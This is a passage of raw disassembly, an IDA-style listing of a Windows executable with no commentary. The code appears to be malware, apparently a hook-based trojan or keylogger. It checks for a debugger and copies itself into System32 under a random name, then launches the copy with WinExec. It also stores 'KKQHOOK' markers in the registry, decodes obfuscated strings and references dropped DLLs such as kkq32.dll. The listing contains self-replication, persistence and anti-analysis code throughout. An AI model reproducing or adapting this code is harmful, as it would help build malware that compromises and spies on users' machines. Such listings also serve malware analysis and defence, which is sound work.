		lea	eax, [ebp+var_600]
		push	eax
		call	sub_401A36
		add	esp, 30h
		mov	[ebp+var_E0C], eax
		or	eax, eax
		jz	loc_40A5BF
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40C760	; DeleteFileA
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_4034D8
		pop	ecx
		call	sub_40C574	; GetProcessHeap
		and	[ebp+var_608], 0
		jmp	loc_40A56A
; ---------------------------------------------------------------------------

loc_409BE5:				; CODE XREF: sub_409847+D46j
		call	sub_40C5A4	; GetVersion
		cmp	[ebp+var_200], 0
		jz	loc_40A56A
		call	sub_40C5A4	; GetVersion
		lea	ecx, [ebp+var_200]
		or	eax, 0FFFFFFFFh

loc_409C05:				; CODE XREF: sub_409847+3C3j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_409C05
		cmp	eax, 5Ch
		jb	loc_40A56A
		lea	edi, [ebp+var_35D8]
		lea	esi, aLLe	; "L LE"
		mov	ecx, 5
		rep movsb
		mov	[ebp+var_1A8], 0
		lea	edi, [ebp+var_35DE]
		lea	esi, a8bd3	; "*8bd3"
		mov	ecx, 3
		rep movsw
		push	0FFFh
		lea	eax, [ebp+var_25D4]
		push	eax
		lea	eax, [ebp+var_1A7]
		push	eax
		call	sub_408A95
		mov	ax, word_445B46
		mov	[ebp+var_35E0],	ax
		push	0FFFh
		lea	eax, [ebp+var_35D3]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_408A95
		add	esp, 18h
		lea	edi, [ebp+var_35E5]
		lea	esi, aWxQ	; "WX$Q"
		mov	ecx, 5
		rep movsb
		mov	byte ptr [ebp+var_15D8+2], 0
		call	sub_40C598	; GetTickCount
		mov	byte ptr [ebp+var_15D8+3], 0
		jmp	short loc_409CC9
; ---------------------------------------------------------------------------

loc_409CAB:				; CODE XREF: sub_409847+49Bj
		movzx	eax, byte ptr [ebp+var_15D8+3]
		lea	edx, [ebp+eax+var_25D4]
		movsx	ecx, byte ptr [edx]
		sub	ecx, eax
		mov	eax, ecx
		mov	[edx], al
		add	byte ptr [ebp+var_15D8+3], 1

loc_409CC9:				; CODE XREF: sub_409847+462j
		lea	ecx, [ebp+var_25D4]
		or	eax, 0FFFFFFFFh

loc_409CD2:				; CODE XREF: sub_409847+490j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_409CD2
		movzx	esi, byte ptr [ebp+var_15D8+3]
		cmp	esi, eax
		jb	short loc_409CAB
		lea	ecx, [ebp+var_25D4]
		or	eax, 0FFFFFFFFh

loc_409CED:				; CODE XREF: sub_409847+4ABj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_409CED
		lea	esi, [ebp+var_35D3]
		push	esi
		push	eax
		lea	edi, [ebp+var_25D4]
		push	edi
		call	sub_4088D5
		add	esp, 0Ch
		mov	[ebp+var_35EC],	eax
		call	sub_40C514	; GetCurrentThreadId
		push	5
		push	offset aN	; "ٍ"
		call	sub_40129C
		add	esp, 8
		mov	edi, 3
		sub	edi, dword_43B094
		push	edi
		push	eax
		lea	edi, [ebp+var_25D4]
		push	edi
		call	sub_401806
		add	esp, 0Ch
		cmp	eax, 0
		jnz	loc_40A21B
		call	sub_40C5A4	; GetVersion
		lea	edi, [ebp+var_4727]
		lea	esi, aYxC	; "yX>c	,"
		mov	ecx, 7
		rep movsb
		mov	[ebp+var_470A],	2351h
		inc	[ebp+var_470A]
		lea	eax, [ebp+var_25CF]
		push	eax
		lea	eax, [ebp+var_45EF]
		push	eax
		call	sub_40C4B8
		lea	edi, [ebp+var_472F]
		lea	esi, aDdjrm	; "!ddJrm*"
		mov	ecx, 8
		rep movsb
		mov	[ebp+var_35F0],	0
		mov	[ebp+var_45F4],	4
		mov	[ebp+var_470B],	2Bh
		movzx	eax, [ebp+var_470B]
		imul	eax, 40A3h
		mov	[ebp+var_470B],	al
		lea	eax, [ebp+var_4608]
		push	eax
		lea	eax, [ebp+var_45F4]
		push	eax
		lea	eax, [ebp+var_35F0]
		push	eax
		push	offset aOfstkkq	; "ofstkkq"
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_4014BD
		add	esp, 18h
		call	sub_40C598	; GetTickCount
		push	1
		push	offset asc_445DBA ; ""
		call	sub_40129C
		add	esp, 8
		lea	edi, [ebp+var_604]
		push	edi
		push	0
		push	0
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		lea	edi, [ebp+var_600]
		push	edi
		lea	edi, [ebp+var_45EF]
		push	edi
		push	offset dword_41EA80
		call	sub_4062CD
		add	esp, 20h
		mov	ebx, eax
		call	sub_40C508	; GetCurrentProcessId
		cmp	ebx, 0
		jnz	short loc_409E64
		call	sub_40C598	; GetTickCount
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_4034D8
		add	esp, 4
		mov	[ebp+var_474C],	3A1Ch
		inc	[ebp+var_474C]
		jmp	short loc_409EB1
; ---------------------------------------------------------------------------

loc_409E64:				; CODE XREF: sub_409847+5F5j
		push	4
		push	4
		lea	eax, [ebp+var_604]
		push	eax
		push	offset aOfstkkq	; "ofstkkq"
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_4015EB
		mov	[ebp+var_45F5],	10h
		movzx	eax, [ebp+var_45F5]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_45F5],	al
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_4034D8
		add	esp, 1Ch
		call	sub_40C508	; GetCurrentProcessId

loc_409EB1:				; CODE XREF: sub_409847+61Bj
		and	[ebp+var_35F0],	0
		mov	[ebp+var_45F4],	4
		lea	edi, [ebp+var_4736]
		lea	esi, aPYN	; " P'y&n"
		mov	ecx, 7
		rep movsb
		lea	eax, [ebp+var_4608]
		push	eax
		lea	eax, [ebp+var_45F4]
		push	eax
		lea	eax, [ebp+var_35F0]
		push	eax
		push	offset aOfstkkqc ; "ofstkkqc"
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_4014BD
		add	esp, 18h
		lea	edi, [ebp+var_4737]
		lea	esi, byte_445B63
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	0
		push	0
		push	4
		push	0
		push	0
		push	80000000h
		push	offset dword_40E010
		call	sub_40C67C	; CreateFileA
		mov	[ebp+var_4600],	eax
		call	sub_40C598	; GetTickCount
		push	0
		push	[ebp+var_4600]
		call	sub_40C520	; GetFileSize
		mov	[ebp+var_4720],	eax
		mov	[ebp+var_470E],	791Eh
		sub	[ebp+var_470E],	1754h
		push	[ebp+var_4600]
		call	sub_40C55C	; CloseHandle
		call	sub_40C508	; GetCurrentProcessId
		mov	eax, [ebp+var_4720]
		cmp	[ebp+var_35F0],	eax
		jb	short loc_409F83
		call	sub_40C5A4	; GetVersion
		jmp	loc_40A0AB
; ---------------------------------------------------------------------------

loc_409F83:				; CODE XREF: sub_409847+730j
		lea	edi, [ebp+var_473F]
		lea	esi, a7Emen	; "7 EmEn;"
		movsd
		movsd
		mov	eax, 14h
		sub	eax, dword_43B098
		push	eax
		lea	eax, [ebp+var_4707]
		push	eax
		call	sub_40170F
		call	sub_40C634	; IsDebuggerPresent
		push	9
		push	offset word_445DAA
		call	sub_40129C
		lea	edi, [ebp+var_4707]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		lea	edi, [ebp+var_600]
		push	edi
		call	sub_40CA30
		mov	[ebp+var_470F],	51h
		movzx	eax, [ebp+var_470F]
		imul	eax, 7CFBh
		mov	[ebp+var_470F],	al
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_403449
		push	1
		push	offset asc_445DBA ; ""
		call	sub_40129C
		lea	edi, [ebp+var_604]
		push	edi
		push	0
		push	[ebp+var_35F0]
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		lea	edi, [ebp+var_600]
		push	edi
		lea	edi, [ebp+var_45EF]
		push	edi
		push	offset dword_40E010
		call	sub_4062CD
		mov	ebx, eax
		lea	edi, [ebp+var_4742]
		lea	esi, aSx	; "sx"
		mov	ecx, 3
		rep movsb
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40C760	; DeleteFileA
		mov	[ebp+var_4714],	7F66h
		inc	[ebp+var_4714]
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_4034D8
		add	esp, 50h
		call	sub_40C634	; IsDebuggerPresent
		or	ebx, ebx
		jz	short loc_40A0AB
		call	sub_40C634	; IsDebuggerPresent
		cmp	[ebp+var_604], 0
		jz	short loc_40A0AB
		push	4
		push	4
		lea	eax, [ebp+var_604]
		push	eax
		push	offset aOfstkkqc ; "ofstkkqc"
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_4015EB
		add	esp, 18h

loc_40A0AB:				; CODE XREF: sub_409847+737j
					; sub_409847+832j ...
		push	0
		push	80h
		push	3
		push	0
		push	0
		push	80000000h
		push	offset dword_413F90
		call	sub_40C67C	; CreateFileA
		mov	[ebp+var_4604],	eax
		mov	[ebp+var_45FC],	7514h
		mov	eax, [ebp+var_45FC]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_45FC],	edx
		cmp	[ebp+var_4604],	0FFFFFFFFh
		jz	loc_40A5BF
		mov	eax, dword_445B6F
		mov	[ebp+var_4746],	eax
		push	[ebp+var_4604]
		call	sub_40C55C	; CloseHandle
		mov	[ebp+var_4716],	0DEAh
		movzx	eax, [ebp+var_4716]
		imul	eax, 4C28h
		mov	[ebp+var_4716],	ax
		lea	eax, [ebp+var_45EF]
		push	eax
		lea	eax, [ebp+var_E08]
		push	eax
		call	sub_40CA30
		mov	[ebp+var_4718],	7CFCh
		movzx	eax, [ebp+var_4718]
		imul	eax, 2F59h
		mov	[ebp+var_4718],	ax
		push	6
		push	offset aTRq	; "ݐ"
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_E08]
		push	edi
		call	sub_40CA54
		call	sub_40C574	; GetProcessHeap
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_403449
		push	1
		push	offset asc_445DBA ; ""
		call	sub_40129C
		lea	edi, [ebp+var_604]
		push	edi
		push	0
		push	[ebp+var_35F0]
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		lea	edi, [ebp+var_600]
		push	edi
		lea	edi, [ebp+var_E08]
		push	edi
		push	offset dword_413F90
		call	sub_4062CD
		mov	ebx, eax
		mov	[ebp+var_4719],	18h
		movzx	eax, [ebp+var_4719]
		imul	eax, 4B74h
		mov	[ebp+var_4719],	al
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40C760	; DeleteFileA
		mov	[ebp+var_471C],	0F12h
		sub	[ebp+var_471C],	161h
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_4034D8
		add	esp, 48h
		or	ebx, ebx
		jz	short loc_40A21B
		call	sub_40C508	; GetCurrentProcessId
		push	offset dword_413F90
		call	sub_40C760	; DeleteFileA
		call	sub_40C598	; GetTickCount

loc_40A21B:				; CODE XREF: sub_409847+4FDj
					; sub_409847+9BEj
		cmp	[ebp+var_200], 3Ah
		jnz	loc_40A3F3
		cmp	[ebp+var_1FD], 3Ah
		jnz	loc_40A3F3
		mov	[ebp+var_35F2],	77A0h
		inc	[ebp+var_35F2]
		call	sub_40C598	; GetTickCount
		mov	[ebp+var_1FD], 0
		push	5
		push	offset aCiaq	; ""
		call	sub_40129C
		lea	edi, [ebp+var_35F0]
		push	edi
		push	eax
		lea	edi, [ebp+var_200]
		push	edi
		call	sub_40CA48
		add	esp, 14h
		mov	[ebp+var_35F4],	28B3h
		movzx	eax, [ebp+var_35F4]
		imul	eax, 66EEh
		mov	[ebp+var_35F4],	ax
		cmp	[ebp+var_35F0],	0
		jz	short loc_40A2C3
		call	sub_40CA18
		mov	edx, 621B97C3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		inc	edi
		cmp	edi, [ebp+var_35F0]
		ja	loc_40A56A

loc_40A2C3:				; CODE XREF: sub_409847+A51j
		call	sub_40C508	; GetCurrentProcessId
		cmp	ds:dword_418680, 2
		jnz	short loc_40A325
		call	sub_40C538	; RtlGetLastWin32Error
		push	400h
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40C580	; GetSystemDirectoryA
		push	0Ah
		push	offset byte_44658B
		call	sub_40129C
		lea	edi, [ebp+var_600]
		push	edi
		push	eax
		lea	edi, [ebp+var_100F]
		push	edi
		call	sub_40CA30
		push	8
		push	offset word_446582
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_600]
		push	edi
		call	sub_40CA54
		add	esp, 24h
		jmp	short loc_40A3A2
; ---------------------------------------------------------------------------

loc_40A325:				; CODE XREF: sub_409847+A88j
		mov	eax, dword_445B73
		mov	[ebp+var_35F8],	eax
		push	400h
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40C5C8	; GetWindowsDirectoryA
		mov	ax, word_445B77
		mov	[ebp+var_35FA],	ax
		push	0Eh
		push	offset byte_446563
		call	sub_40129C
		lea	edi, [ebp+var_600]
		push	edi
		push	eax
		lea	edi, [ebp+var_100F]
		push	edi
		call	sub_40CA30
		lea	edi, [ebp+var_35FD]
		lea	esi, byte_445B79
		mov	ecx, 3
		rep movsb
		push	0Ch
		push	offset word_446556
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_600]
		push	edi
		call	sub_40CA54
		add	esp, 24h
		call	sub_40C514	; GetCurrentThreadId

loc_40A3A2:				; CODE XREF: sub_409847+ADCj
		lea	eax, [ebp+var_100F]
		push	eax
		call	sub_40C760	; DeleteFileA
		call	sub_40C514	; GetCurrentThreadId
		push	8
		push	offset aINvuni	; "ލ"
		call	sub_40129C
		lea	edi, [ebp+var_200]
		add	edi, 4
		push	edi
		lea	edi, [ebp+var_600]
		push	edi
		push	eax
		lea	edi, [ebp+var_600]
		push	edi
		call	sub_40CA30
		add	esp, 18h
		push	0
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40C724	; WinExec
		call	sub_40C514	; GetCurrentThreadId

loc_40A3F3:				; CODE XREF: sub_409847+9DBj
					; sub_409847+9E8j
		push	5
		push	offset aN_0	; "ɍ"
		call	sub_40129C
		mov	edi, 0Dh
		sub	edi, dword_43B098
		push	edi
		push	eax
		lea	edi, [ebp+var_200]
		push	edi
		call	sub_401806
		add	esp, 14h
		or	eax, eax
		jnz	loc_40A56A
		call	sub_40C5A4	; GetVersion
		lea	edi, [ebp+var_55F7]
		lea	esi, byte_445B7C
		mov	ecx, 3
		rep movsb
		mov	eax, dword_43B094
		add	eax, 5
		push	eax
		lea	eax, [ebp+var_F0B]
		push	eax
		call	sub_40170F
		mov	[ebp+var_55F1],	33h
		add	[ebp+var_55F1],	1
		push	9
		push	offset word_445DFA
		call	sub_40129C
		lea	edi, [ebp+var_F0B]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		lea	edi, [ebp+var_45EB]
		push	edi
		call	sub_40CA30
		lea	eax, [ebp+var_1FB]
		push	eax
		lea	eax, [ebp+var_55EA]
		push	eax
		call	sub_40C4B8
		mov	[ebp+var_55F0],	4C44h
		mov	eax, [ebp+var_55F0]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_55F0],	edx
		push	3
		push	offset aQ	; "ɟ"
		call	sub_40129C
		mov	[ebp+var_55FC],	eax
		push	1
		push	offset asc_445DBA ; ""
		call	sub_40129C
		push	0
		push	0
		push	0
		push	eax
		mov	edi, [ebp+var_55FC]
		push	edi
		lea	edi, [ebp+var_45EB]
		push	edi
		lea	edi, [ebp+var_55EA]
		push	edi
		push	0
		call	sub_4062CD
		add	esp, 50h
		mov	ebx, eax
		mov	[ebp+var_55F4],	2AB6h
		sub	[ebp+var_55F4],	2B3Ah
		cmp	ebx, 2
		jnz	short loc_40A56A
		mov	[ebp+var_55FD],	0D1h
		add	[ebp+var_55FD],	1
		push	0
		lea	eax, [ebp+var_45EB]
		push	eax
		call	sub_40C724	; WinExec
		push	6
		push	offset asc_445D8C ; ""
		call	sub_40129C
		mov	edi, 3
		sub	edi, dword_43B094
		push	edi
		push	eax
		lea	edi, [ebp+var_55EA]
		push	edi
		call	sub_401806
		add	esp, 14h
		cmp	eax, 0FFFFh
		jz	short loc_40A56A
		mov	eax, 0Dh
		sub	eax, dword_43B098
		push	eax
		call	sub_40C9DC
		pop	ecx

loc_40A56A:				; CODE XREF: sub_409847+399j
					; sub_409847+3AAj ...
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_608]
		push	[ebp+var_E0C]
		call	sub_401B9A
		add	esp, 0Ch
		mov	[ebp+var_608], eax
		or	eax, eax
		jnz	loc_409BE5
		push	[ebp+var_E0C]
		call	sub_40C658	; LocalFree
		mov	[ebp+var_102C],	5DFBh
		mov	eax, 658Bh
		mul	[ebp+var_102C]
		mov	[ebp+var_15D8],	eax
		mov	[ebp+var_102C],	eax

loc_40A5BF:				; CODE XREF: sub_409847+2FEj
					; sub_409847+36Ej ...
		call	sub_408BE4
		call	sub_40C598	; GetTickCount
		fld	dbl_445D84
		fimul	dword_43B0B4
		mov	edi, eax
		call	sub_40C410
		xchg	eax, edi
		push	edi
		call	sub_40C9D0
		mov	edi, dword_43B0B8
		sub	edi, eax
		inc	edi
		mov	[ebp+var_1014],	edi
		mov	[ebp+var_101C],	19AEh
		movzx	eax, [ebp+var_101C]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_101C],	ax
		mov	eax, edi
		mov	[ebp+var_15DC],	eax
		push	eax
		call	sub_40C9D0
		add	esp, 8
		mov	edi, [ebp+var_15DC]
		add	edi, eax
		mov	[ebp+var_1014],	edi
		mov	[ebp+var_102D],	45h
		sub	[ebp+var_102D],	1Ch
		mov	eax, edi
		mov	edi, dword_43B0B8
		sub	edi, dword_43B0B4
		mov	ecx, edi
		inc	ecx
		xor	edx, edx
		div	ecx
		mov	[ebp+var_15E0],	eax
		mov	[ebp+var_1014],	eax
		mov	[ebp+var_101D],	0DFh
		movzx	eax, [ebp+var_101D]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_101D],	al
		call	sub_40CA18
		mov	[ebp+var_15E4],	eax
		mov	eax, dword_43B0B4
		mov	edx, 66666667h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 1
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		lea	edi, [eax+eax*4]
		mov	esi, [ebp+var_1014]
		mov	edx, [ebp+var_15E4]
		mov	eax, esi
		imul	eax, [ebp+var_15E4]
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		lea	edi, [edi+edx+5]
		mov	dword_43B0B4, edi
		lea	edi, [ebp+var_117A]
		lea	esi, byte_445B7F
		mov	ecx, 3
		rep movsw
		mov	eax, dword_43B0B8
		cmp	dword_43B0B4, eax
		jbe	short loc_40A6ED
		and	dword_43B0B4, 0

loc_40A6ED:				; CODE XREF: sub_409847+E9Dj
		push	30D40h
		call	sub_40C9B8
		pop	ecx
		jmp	loc_4098DE
sub_409847	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A704	proc near		; CODE XREF: sub_40A766+11p

var_C		= word ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		mov	ax, word_445B85
		mov	[ebp+var_A], ax
		mov	[ebp+var_1], 47h
		sub	[ebp+var_1], 66h
		push	offset aKkqhook_28 ; "KKQHOOK_28"
		push	0
		push	1F0001h
		call	sub_40C664	; OpenMutexA
		mov	[ebp+var_8], eax
		or	eax, eax
		jz	short loc_40A763
		call	sub_40C598	; GetTickCount
		push	[ebp+var_8]
		call	sub_40C55C	; CloseHandle
		call	sub_40C514	; GetCurrentThreadId
		mov	eax, 3
		sub	eax, dword_43B094
		push	eax
		call	sub_40C9DC
		pop	ecx
		mov	ax, word_445B87
		mov	[ebp+var_C], ax

loc_40A763:				; CODE XREF: sub_40A704+2Fj
		pop	edi
		leave
		retn
sub_40A704	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A766	proc near		; CODE XREF: sub_40C434+5Cp

var_7F1		= byte ptr -7F1h
var_7EB		= byte ptr -7EBh
var_7E9		= byte ptr -7E9h
var_7E8		= dword	ptr -7E8h
var_7E2		= word ptr -7E2h
var_7DD		= byte ptr -7DDh
var_7DC		= dword	ptr -7DCh
var_7D7		= byte ptr -7D7h
var_7D0		= byte ptr -7D0h
var_7CC		= byte ptr -7CCh
var_7C7		= byte ptr -7C7h
var_7C2		= byte ptr -7C2h
var_7BA		= byte ptr -7BAh
var_7B4		= byte ptr -7B4h
var_7B3		= byte ptr -7B3h
var_7AB		= dword	ptr -7ABh
var_7A7		= dword	ptr -7A7h
var_7A3		= byte ptr -7A3h
var_79C		= byte ptr -79Ch
var_794		= byte ptr -794h
var_78D		= byte ptr -78Dh
var_788		= dword	ptr -788h
var_784		= byte ptr -784h
var_783		= byte ptr -783h
var_77E		= byte ptr -77Eh
var_67F		= byte ptr -67Fh
var_580		= byte ptr -580h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= byte ptr -474h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_366		= word ptr -366h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_35C		= byte ptr -35Ch
var_2F8		= byte ptr -2F8h
var_294		= dword	ptr -294h
var_28D		= byte ptr -28Dh
var_28C		= word ptr -28Ch
var_289		= byte ptr -289h
var_288		= dword	ptr -288h
var_281		= byte ptr -281h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_272		= word ptr -272h
var_270		= word ptr -270h
var_26E		= byte ptr -26Eh
var_16A		= word ptr -16Ah
var_168		= dword	ptr -168h
var_163		= byte ptr -163h
var_162		= byte ptr -162h
var_5E		= word ptr -5Eh
var_5C		= dword	ptr -5Ch
var_55		= dword	ptr -55h
var_51		= dword	ptr -51h
var_4D		= dword	ptr -4Dh
var_49		= dword	ptr -49h
var_45		= dword	ptr -45h
var_41		= dword	ptr -41h
var_3D		= dword	ptr -3Dh
var_39		= dword	ptr -39h
var_35		= dword	ptr -35h
var_31		= dword	ptr -31h
var_2D		= byte ptr -2Dh
var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_25		= byte ptr -25h
var_1D		= byte ptr -1Dh
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7F4h
		push	ebx
		push	esi
		push	edi
		call	sub_40C634	; IsDebuggerPresent
		call	sub_40A704
		call	sub_40C538	; RtlGetLastWin32Error
		lea	edi, [ebp+var_783]
		lea	esi, aQk	; "qk  "
		mov	ecx, 5
		rep movsb
		push	104h
		lea	eax, [ebp+var_162]
		push	eax
		call	sub_40C580	; GetSystemDirectoryA
		mov	[ebp+var_163], 2Ch
		movzx	eax, [ebp+var_163]
		imul	eax, 45FBh
		mov	[ebp+var_163], al
		push	13h
		push	offset dword_445D70
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_162]
		push	edi
		call	sub_40CA54
		add	esp, 10h
		call	sub_40C538	; RtlGetLastWin32Error
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000001h
		lea	eax, [ebp+var_162]
		push	eax
		call	sub_40C67C	; CreateFileA
		mov	[ebp+var_370], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40A80D
		call	sub_4085D0
		jmp	short loc_40A818
; ---------------------------------------------------------------------------

loc_40A80D:				; CODE XREF: sub_40A766+9Ej
		push	[ebp+var_370]
		call	sub_40C55C	; CloseHandle

loc_40A818:				; CODE XREF: sub_40A766+A5j
		lea	edi, [ebp+var_784]
		lea	esi, byte_445B8E
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	9
		push	offset asc_445D66 ; ""
		call	sub_40129C
		push	eax
		call	sub_40C5D4	; GlobalAddAtomA
		call	sub_40C5A4	; GetVersion
		mov	eax, [ebp+arg_0]
		mov	ds:dword_41DA84, eax
		mov	ds:dword_418670, 94h
		push	offset dword_418670
		call	sub_40C5B0	; GetVersionExA
		mov	eax, dword_445B8F
		mov	[ebp+var_788], eax
		push	0FFh
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		call	sub_40C580	; GetSystemDirectoryA
		mov	[ebp+var_168], 5BB4h
		mov	eax, 7833h
		mul	[ebp+var_168]
		mov	[ebp+var_7DC], eax
		mov	[ebp+var_168], eax
		call	sub_40C598	; GetTickCount
		push	eax
		call	sub_40CA3C
		mov	[ebp+var_16A], 5032h
		add	[ebp+var_16A], 7611h
		lea	edi, [ebp+var_78D]
		lea	esi, a3hay	; "3hAy"
		mov	ecx, 5
		rep movsb
		push	104h
		lea	eax, [ebp+var_474]
		push	eax
		push	[ebp+arg_0]
		call	sub_40C544	; GetModuleFileNameA
		call	sub_40C514	; GetCurrentThreadId
		and	[ebp+var_5C], 0
		mov	[ebp+var_478], 4
		mov	ebx, 4C9Bh
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		lea	eax, [ebp+var_794]
		push	eax
		lea	eax, [ebp+var_478]
		push	eax
		lea	eax, [ebp+var_5C]
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_4014BD
		add	esp, 24h
		mov	[ebp+var_47C], eax
		or	eax, eax
		jz	short loc_40A95C
		mov	[ebp+var_7DD], 57h
		add	[ebp+var_7DD], 1
		cmp	[ebp+var_5C], 1Ch
		jbe	short loc_40A952
		mov	eax, 0Dh
		sub	eax, dword_43B098
		push	eax
		call	sub_40C9DC
		pop	ecx

loc_40A952:				; CODE XREF: sub_40A766+1D8j
		cmp	[ebp+var_5C], 1Ch
		jz	loc_40AAD6

loc_40A95C:				; CODE XREF: sub_40A766+1C4j
		lea	edi, [ebp+var_79C]
		lea	esi, a8bTfa	; "<8B=tf"
		movsd
		movsd
		lea	edi, [ebp+var_7A3]
		lea	esi, a_rVnx	; "_r&nx"
		mov	ecx, 7
		rep movsb
		call	sub_40CA18
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		add	edi, 41h
		mov	edx, edi
		mov	[ebp+var_2D], dl
		mov	[ebp+var_1], 1
		jmp	short loc_40A9D4
; ---------------------------------------------------------------------------

loc_40A9A7:				; CODE XREF: sub_40A766+273j
		call	sub_40CA18
		movzx	edi, [ebp+var_1]
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	esi, eax
		add	esi, 61h
		mov	edx, esi
		mov	[ebp+edi+var_2D], dl
		add	[ebp+var_1], 1

loc_40A9D4:				; CODE XREF: sub_40A766+23Fj
		mov	al, [ebp+var_1]
		cmp	al, 8
		jbe	short loc_40A9A7
		mov	[ebp+var_25], 0
		call	sub_40CA18
		mov	edx, eax
		test	dl, 1
		jnz	short loc_40AA0D
		mov	[ebp+var_7DD], 0A4h
		movzx	eax, [ebp+var_7DD]
		imul	eax, 6B38h
		mov	[ebp+var_7DD], al
		mov	[ebp+var_27], 33h
		mov	[ebp+var_26], 32h

loc_40AA0D:				; CODE XREF: sub_40A766+283j
		push	9
		push	offset dword_445D5C
		call	sub_40129C
		lea	edi, [ebp+var_2D]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		lea	edi, [ebp+var_26E]
		push	edi
		call	sub_40CA30
		push	0
		lea	eax, [ebp+var_26E]
		push	eax
		lea	eax, [ebp+var_474]
		push	eax
		call	sub_40C604	; CopyFileA
		call	sub_40C598	; GetTickCount
		lea	eax, [ebp+var_2D]
		push	eax
		call	sub_403C5F
		mov	[ebp+var_270], 193Ah
		sub	[ebp+var_270], 3E0Ch
		mov	[ebp+var_5C], 1Ch
		push	4
		push	4
		lea	eax, [ebp+var_5C]
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_4015EB
		add	esp, 34h
		push	0
		lea	eax, [ebp+var_26E]
		push	eax
		call	sub_40C724	; WinExec
		mov	eax, dword_445BA7
		mov	[ebp+var_7A7], eax
		call	sub_404194
		mov	[ebp+var_272], 0CB0h
		sub	[ebp+var_272], 5CCh
		mov	eax, 3
		sub	eax, dword_43B094
		push	eax
		call	sub_40C4E4	; ExitProcess
		mov	eax, dword_445BAB
		mov	[ebp+var_7AB], eax

loc_40AAD6:				; CODE XREF: sub_40A766+1F0j
		push	5
		push	offset word_445D56
		call	sub_40129C
		push	offset aKkq32_dll ; "kkq32.dll"
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		push	offset dword_41EA80
		call	sub_40CA30
		mov	[ebp+var_278], 57BFh
		sub	[ebp+var_278], 674Fh
		push	5
		push	offset word_445D56
		call	sub_40129C
		push	offset aDnkkq_dll ; "dnkkq.dll"
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		push	offset dword_40F280
		call	sub_40CA30
